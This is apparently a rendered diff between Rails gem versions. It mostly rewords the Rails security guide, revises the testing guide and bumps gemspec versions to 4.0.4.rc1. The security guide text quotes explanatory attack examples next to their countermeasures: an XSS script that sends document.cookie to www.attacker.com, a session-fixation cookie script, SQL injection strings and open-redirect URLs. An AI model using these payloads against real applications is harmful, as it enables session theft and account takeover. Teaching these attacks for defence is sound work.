78
|
|
79
79
|
Adds the given source to the generated application's `Gemfile`.
|
80
80
|
|
81
|
-
For example, if you need to source a gem from "http://code.whytheluckystiff.net"
|
81
|
+
For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
|
82
82
|
|
83
83
|
```ruby
|
84
84
|
add_source "http://code.whytheluckystiff.net"
|
data/guides/source/security.md
CHANGED
@@ -17,7 +17,7 @@ After reading this guide, you will know:
|
|
17
17
|
Introduction
|
18
18
|
------------
|
19
19
|
|
20
|
-
Web application frameworks are made to help developers
|
20
|
+
Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
|
21
21
|
|
22
22
|
In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
|
23
23
|
|
@@ -70,7 +70,7 @@ Hence, the cookie serves as temporary authentication for the web application. Ev
|
|
70
70
|
|
71
71
|
* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
|
72
72
|
|
73
|
-
* Instead of stealing a cookie unknown to the attacker,
|
73
|
+
* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
|
74
74
|
|
75
75
|
The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
|
76
76
|
|
@@ -111,9 +111,9 @@ It works like this:
|
|
111
111
|
|
112
112
|
* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
|
113
113
|
* The user buys something.
|
114
|
-
*
|
115
|
-
* The dark side of the user forces
|
116
|
-
* The user has
|
114
|
+
* Their new, lower credit will be stored in the session.
|
115
|
+
* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser.
|
116
|
+
* The user has their credit back.
|
117
117
|
|
118
118
|
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
|
119
119
|
|
@@ -121,14 +121,14 @@ The best _solution against it is not to store this kind of data in a session, bu
|
|
121
121
|
|
122
122
|
### Session Fixation
|
123
123
|
|
124
|
-
NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to
|
124
|
+
NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
|
125
125
|
|
126
126
|
![Session fixation](images/session_fixation.png)
|
127
127
|
|
128
128
|
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
|
129
129
|
|
130
|
-
* The attacker creates a valid session id:
|
131
|
-
*
|
130
|
+
* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
|
131
|
+
* They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive.
|
132
132
|
* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
|
133
133
|
* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
|
134
134
|
* As the new trap session is unused, the web application will require the user to authenticate.
|
@@ -249,7 +249,7 @@ end
|
|
249
249
|
|
250
250
|
The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
|
251
251
|
|
252
|
-
Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so
|
252
|
+
Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
|
253
253
|
|
254
254
|
Redirection and Files
|
255
255
|
---------------------
|
@@ -258,7 +258,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f
|
|
258
258
|
|
259
259
|
### Redirection
|
260
260
|
|
261
|
-
WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site,
|
261
|
+
WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._
|
262
262
|
|
263
263
|
Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
|
264
264
|
|
@@ -268,7 +268,7 @@ def legacy
|
|
268
268
|
end
|
269
269
|
```
|
270
270
|
|
271
|
-
This will redirect the user to the main action if
|
271
|
+
This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:
|
272
272
|
|
273
273
|
```
|
274
274
|
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
|
@@ -354,9 +354,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend
|
|
354
354
|
|
355
355
|
**CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
|
356
356
|
|
357
|
-
A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had
|
357
|
+
A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.
|
358
358
|
|
359
|
-
Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change
|
359
|
+
Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
|
360
360
|
|
361
361
|
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
|
362
362
|
|
@@ -379,7 +379,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic
|
|
379
379
|
|
380
380
|
There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features.
|
381
381
|
|
382
|
-
Every new user gets an activation code to activate
|
382
|
+
Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):
|
383
383
|
|
384
384
|
```
|
385
385
|
http://localhost:3006/user/activate
|
@@ -398,7 +398,7 @@ If the parameter was nil, the resulting SQL query will be
|
|
398
398
|
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
|
399
399
|
```
|
400
400
|
|
401
|
-
And thus it found the first user in the database, returned it and logged
|
401
|
+
And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
|
402
402
|
|
403
403
|
### Brute-Forcing Accounts
|
404
404
|
|
@@ -418,24 +418,24 @@ Many web applications make it easy to hijack user accounts. Why not be different
|
|
418
418
|
|
419
419
|
#### Passwords
|
420
420
|
|
421
|
-
Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring
|
421
|
+
Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
|
422
422
|
|
423
423
|
#### E-Mail
|
424
424
|
|
425
|
-
However, the attacker may also take over the account by changing the e-mail address. After
|
425
|
+
However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
|
426
426
|
|
427
427
|
#### Other
|
428
428
|
|
429
|
-
Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to
|
429
|
+
Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
|
430
430
|
|
431
431
|
### CAPTCHAs
|
432
432
|
|
433
|
-
INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that
|
433
|
+
INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._
|
434
434
|
|
435
435
|
But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails plug-in with the same name as the API.
|
436
436
|
|
437
437
|
You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
|
438
|
-
The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that
|
438
|
+
The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that they are human, but reveal that a spam robot is a bot.
|
439
439
|
|
440
440
|
Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
|
441
441
|
|
@@ -528,7 +528,7 @@ The most common parameter that a user might tamper with, is the id parameter, as
|
|
528
528
|
@project = Project.find(params[:id])
|
529
529
|
```
|
530
530
|
|
531
|
-
This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and
|
531
|
+
This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_:
|
532
532
|
|
533
533
|
```ruby
|
534
534
|
@project = @current_user.projects.find(params[:id])
|
@@ -571,7 +571,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap
|
|
571
571
|
Project.where("name = '#{params[:name]}'")
|
572
572
|
```
|
573
573
|
|
574
|
-
This could be in a search action and the user may enter a project's name that
|
574
|
+
This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:
|
575
575
|
|
576
576
|
```sql
|
577
577
|
SELECT * FROM projects WHERE name = '' OR 1 --'
|
@@ -581,7 +581,7 @@ The two dashes start a comment ignoring everything after it. So the query return
|
|
581
581
|
|
582
582
|
#### Bypassing Authorization
|
583
583
|
|
584
|
-
Usually a web application includes access control. The user enters
|
584
|
+
Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.
|
585
585
|
|
586
586
|
```ruby
|
587
587
|
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
|
@@ -679,7 +679,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
|
|
679
679
|
<script>document.write(document.cookie);</script>
|
680
680
|
```
|
681
681
|
|
682
|
-
For an attacker, of course, this is not useful, as the victim will see
|
682
|
+
For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie.
|
683
683
|
|
684
684
|
```html
|
685
685
|
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
|
@@ -888,7 +888,7 @@ HTTP/1.1 302 Moved Temporarily
|
|
888
888
|
Location: http://www.malicious.tld
|
889
889
|
```
|
890
890
|
|
891
|
-
So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection?
|
891
|
+
So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
|
892
892
|
|
893
893
|
#### Response Splitting
|
894
894
|
|
data/guides/source/testing.md
CHANGED
@@ -175,7 +175,7 @@ class PostTest < ActiveSupport::TestCase
|
|
175
175
|
|
176
176
|
The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide.
|
177
177
|
|
178
|
-
Any method defined within a class inherited from `MiniTest::Unit::TestCase`
|
178
|
+
Any method defined within a class inherited from `MiniTest::Unit::TestCase`
|
179
179
|
(which is the superclass of `ActiveSupport::TestCase`) that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run.
|
180
180
|
|
181
181
|
Rails adds a `test` method that takes a test name and a block. It generates a normal `MiniTest::Unit` test with method names prefixed with `test_`. So,
|
@@ -773,7 +773,7 @@ class UserFlowsTest < ActionDispatch::IntegrationTest
|
|
773
773
|
u = users(user)
|
774
774
|
sess.https!
|
775
775
|
sess.post "/login", username: u.username, password: u.password
|
776
|
-
assert_equal '/welcome', path
|
776
|
+
assert_equal '/welcome', sess.path
|
777
777
|
sess.https!(false)
|
778
778
|
end
|
779
779
|
end
|
@@ -783,18 +783,23 @@ end
|
|
783
783
|
Rake Tasks for Running your Tests
|
784
784
|
---------------------------------
|
785
785
|
|
786
|
-
You don't need to set up and run your tests by hand on a test-by-test basis.
|
787
|
-
|
788
|
-
|
789
|
-
|
790
|
-
|
791
|
-
|
|
792
|
-
|
|
793
|
-
| `rake test
|
794
|
-
| `rake test:
|
795
|
-
| `rake test:
|
796
|
-
| `rake test:
|
797
|
-
| `rake test:
|
786
|
+
You don't need to set up and run your tests by hand on a test-by-test basis.
|
787
|
+
Rails comes with a number of commands to help in testing.
|
788
|
+
The table below lists all commands that come along in the default Rakefile
|
789
|
+
when you initiate a Rails project.
|
790
|
+
|
791
|
+
| Tasks | Description |
|
792
|
+
| ----------------------- | ----------- |
|
793
|
+
| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as Rails will run all the tests by default |
|
794
|
+
| `rake test:controllers` | Runs all the controller tests from `test/controllers` |
|
795
|
+
| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` |
|
796
|
+
| `rake test:helpers` | Runs all the helper tests from `test/helpers` |
|
797
|
+
| `rake test:integration` | Runs all the integration tests from `test/integration` |
|
798
|
+
| `rake test:mailers` | Runs all the mailer tests from `test/mailers` |
|
799
|
+
| `rake test:models` | Runs all the model tests from `test/models` |
|
800
|
+
| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` |
|
801
|
+
| `rake test:all` | Runs all tests quickly by merging all types and not resetting db |
|
802
|
+
| `rake test:all:db` | Runs all tests quickly by merging all types and resetting db |
|
798
803
|
|
799
804
|
There're also some test commands which you can initiate by running rake tasks:
|
800
805
|
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: rails
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 4.0.
|
4
|
+
version: 4.0.4.rc1
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- David Heinemeier Hansson
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2014-
|
11
|
+
date: 2014-03-11 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: activesupport
|
@@ -16,70 +16,70 @@ dependencies:
|
|
16
16
|
requirements:
|
17
17
|
- - '='
|
18
18
|
- !ruby/object:Gem::Version
|
19
|
-
version: 4.0.
|
19
|
+
version: 4.0.4.rc1
|
20
20
|
type: :runtime
|
21
21
|
prerelease: false
|
22
22
|
version_requirements: !ruby/object:Gem::Requirement
|
23
23
|
requirements:
|
24
24
|
- - '='
|
25
25
|
- !ruby/object:Gem::Version
|
26
|
-
version: 4.0.
|
26
|
+
version: 4.0.4.rc1
|
27
27
|
- !ruby/object:Gem::Dependency
|
28
28
|
name: actionpack
|
29
29
|
requirement: !ruby/object:Gem::Requirement
|
30
30
|
requirements:
|
31
31
|
- - '='
|
32
32
|
- !ruby/object:Gem::Version
|
33
|
-
version: 4.0.
|
33
|
+
version: 4.0.4.rc1
|
34
34
|
type: :runtime
|
35
35
|
prerelease: false
|
36
36
|
version_requirements: !ruby/object:Gem::Requirement
|
37
37
|
requirements:
|
38
38
|
- - '='
|
39
39
|
- !ruby/object:Gem::Version
|
40
|
-
version: 4.0.
|
40
|
+
version: 4.0.4.rc1
|
41
41
|
- !ruby/object:Gem::Dependency
|
42
42
|
name: activerecord
|
43
43
|
requirement: !ruby/object:Gem::Requirement
|
44
44
|
requirements:
|
45
45
|
- - '='
|
46
46
|
- !ruby/object:Gem::Version
|
47
|
-
version: 4.0.
|
47
|
+
version: 4.0.4.rc1
|
48
48
|
type: :runtime
|
49
49
|
prerelease: false
|
50
50
|
version_requirements: !ruby/object:Gem::Requirement
|
51
51
|
requirements:
|
52
52
|
- - '='
|
53
53
|
- !ruby/object:Gem::Version
|
54
|
-
version: 4.0.
|
54
|
+
version: 4.0.4.rc1
|
55
55
|
- !ruby/object:Gem::Dependency
|
56
56
|
name: actionmailer
|
57
57
|
requirement: !ruby/object:Gem::Requirement
|
58
58
|
requirements:
|
59
59
|
- - '='
|
60
60
|
- !ruby/object:Gem::Version
|
61
|
-
version: 4.0.
|
61
|
+
version: 4.0.4.rc1
|
62
62
|
type: :runtime
|
63
63
|
prerelease: false
|
64
64
|
version_requirements: !ruby/object:Gem::Requirement
|
65
65
|
requirements:
|
66
66
|
- - '='
|
67
67
|
- !ruby/object:Gem::Version
|
68
|
-
version: 4.0.
|
68
|
+
version: 4.0.4.rc1
|
69
69
|
- !ruby/object:Gem::Dependency
|
70
70
|
name: railties
|
71
71
|
requirement: !ruby/object:Gem::Requirement
|
72
72
|
requirements:
|
73
73
|
- - '='
|
74
74
|
- !ruby/object:Gem::Version
|
75
|
-
version: 4.0.
|
75
|
+
version: 4.0.4.rc1
|
76
76
|
type: :runtime
|
77
77
|
prerelease: false
|
78
78
|
version_requirements: !ruby/object:Gem::Requirement
|
79
79
|
requirements:
|
80
80
|
- - '='
|
81
81
|
- !ruby/object:Gem::Version
|
82
|
-
version: 4.0.
|
82
|
+
version: 4.0.4.rc1
|
83
83
|
- !ruby/object:Gem::Dependency
|
84
84
|
name: bundler
|
85
85
|
requirement: !ruby/object:Gem::Requirement
|
@@ -426,7 +426,7 @@ required_rubygems_version: !ruby/object:Gem::Requirement
|
|
426
426
|
version: 1.8.11
|
427
427
|
requirements: []
|
428
428
|
rubyforge_project:
|
429
|
-
rubygems_version: 2.2.
|
429
|
+
rubygems_version: 2.2.2
|
430
430
|
signing_key:
|
431
431
|
specification_version: 4
|
432
432
|
summary: Full-stack web application framework.
|